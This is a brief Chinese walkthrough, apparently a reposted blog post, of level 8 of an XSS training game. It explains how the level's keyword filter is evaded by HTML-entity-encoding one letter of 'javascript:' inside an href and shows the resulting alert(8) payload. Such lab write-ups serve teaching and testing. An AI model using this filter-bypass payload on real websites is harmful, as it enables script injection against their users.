XSS-Game level 8

第八关过滤的很严 , 只能编码绕过了

源码中过滤了大小写,替换了script , on 事件 和 一些属性 , 而后将参数拼接到 href 属性

我们使用编码绕过 s 编码后为 s , payload

javascript:alert(8)
 

  

   

    

     

    
    

     

      <a href="'.$str7.'">    //拼接前
     
    
   

    

     

    
    

     

      <a href="java&#115;cript:alert(8)">    //拼接后
     
    
   

    

     

    
    

     

      <a href="javascript:alert(8)">    //编码后
     
    
  
 

点击友情链接 , 触发弹窗 , 过关

文章来源: blog.csdn.net，作者：士别三日wyx，版权归原作者所有，如需转载，请联系作者。

原文链接：blog.csdn.net/wangyuxiang946/article/details/118560279